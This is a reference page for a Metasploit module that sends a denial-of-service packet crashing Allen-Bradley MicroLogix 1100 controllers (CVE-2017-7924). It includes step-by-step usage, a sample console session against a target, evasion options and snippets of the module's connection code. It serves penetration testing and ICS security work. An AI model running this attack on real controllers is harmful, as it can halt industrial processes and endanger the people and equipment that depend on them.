DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC) - Metasploit


This page contains detailed information about how to use the auxiliary/dos/scada/allen_bradley_pccc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
Module: auxiliary/dos/scada/allen_bradley_pccc
Source code: modules/auxiliary/dos/scada/allen_bradley_pccc.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 44818
List of CVEs: CVE-2017-7924

A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(allen_bradley_pccc) > show targets
    ... a list of targets ...
msf auxiliary(allen_bradley_pccc) > set TARGET target-id
msf auxiliary(allen_bradley_pccc) > show options
    ... show and set options ...
msf auxiliary(allen_bradley_pccc) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.

Verification Steps


  1. Do: use auxiliary/dos/scada/allen_bradley_pccc
  2. Do: set RHOST=IP where IP is the IP address of the target
  3. Do: check verify if target is vulnerable
  4. Do: exploit send DoS packet

Options


  1. PORT: set RPORT=44818

Scenarios


msf > use auxiliary/dos/scada/allen_bradley_pccc 
msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194
RHOST => 172.27.248.194
msf auxiliary(dos/scada/allen_bradley_pccc) > check

[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00
[+] 172.27.248.194:44818 - The target is vulnerable.
msf auxiliary(dos/scada/allen_bradley_pccc) > exploit

[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666)
[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85)
[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet...
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the dos/scada/allen_bradley_pccc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/scada/allen_bradley_pccc

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show info

       Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
     Module: auxiliary/dos/scada/allen_bradley_pccc
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jos�� Diogo Monteiro <[email protected]>
  Luis Rosa <[email protected]>
  Miguel Borges de Freitas <[email protected]>

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   44818            yes       The target port (TCP)

Description:
  A remote, unauthenticated attacker could send a single, specially 
  crafted Programmable Controller Communication Commands (PCCC) packet 
  to the controller that could potentially cause the controller to 
  enter a DoS condition. MicroLogix 1100 controllers are affected: 
  1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. 
  CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 
  base score of 7.5 has been assigned.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7924
  https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03
  http://dl.acm.org/citation.cfm?doid=3174776.3174780

Module Options


This is a complete list of options available in the dos/scada/allen_bradley_pccc auxiliary module:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show options

Module options (auxiliary/dos/scada/allen_bradley_pccc):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   44818            yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the dos/scada/allen_bradley_pccc auxiliary module:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show advanced

Module advanced options (auxiliary/dos/scada/allen_bradley_pccc):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/scada/allen_bradley_pccc module can do:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/scada/allen_bradley_pccc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

EtherNet/IP Packet Not Valid


Here is a relevant code snippet related to the "EtherNet/IP Packet Not Valid" error message:

135:	    res = udp_sock.recvfrom(90)
136:	
137:	    disconnect_udp
138:	
139:	    unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
140:	      print_error "EtherNet/IP Packet Not Valid"
141:	      return Exploit::CheckCode::Unsupported
142:	    end
143:	
144:	    revision = res[0][54,2]
145:	    product_name_len = res[0][62].unpack("c*")[0]

Ethernet/IP - Failed to create session.


Here is a relevant code snippet related to the "Ethernet/IP - Failed to create session." error message:

177:	    connect
178:	    # Register Ethernet/IP session
179:	    sock.put(enip_register_session_pkt)
180:	    enip_register_session_ans = sock.get_once
181:	    unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
182:	      print_error "Ethernet/IP - Failed to create session."
183:	      disconnect
184:	      return
185:	    end
186:	    enip_session_id = enip_register_session_ans[4, 4]
187:	    print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"

CIP Connection Manager - Failed Forward Open request


Here is a relevant code snippet related to the "CIP Connection Manager - Failed Forward Open request" error message:

188:	
189:	    # Ethernet/IP CCM Forward Open
190:	    sock.put(enip_ccm_forward_open_pkt(enip_session_id))
191:	    enip_ccm_forward_open_ans = sock.get_once
192:	    unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
193:	      print_error "CIP Connection Manager - Failed Forward Open request"
194:	      disconnect
195:	      return
196:	    end
197:	    cip_connection_id = enip_ccm_forward_open_ans[44, 4]
198:	    print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>
  • Luis Rosa <lmrosa[at]dei.uc.pt>
  • Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.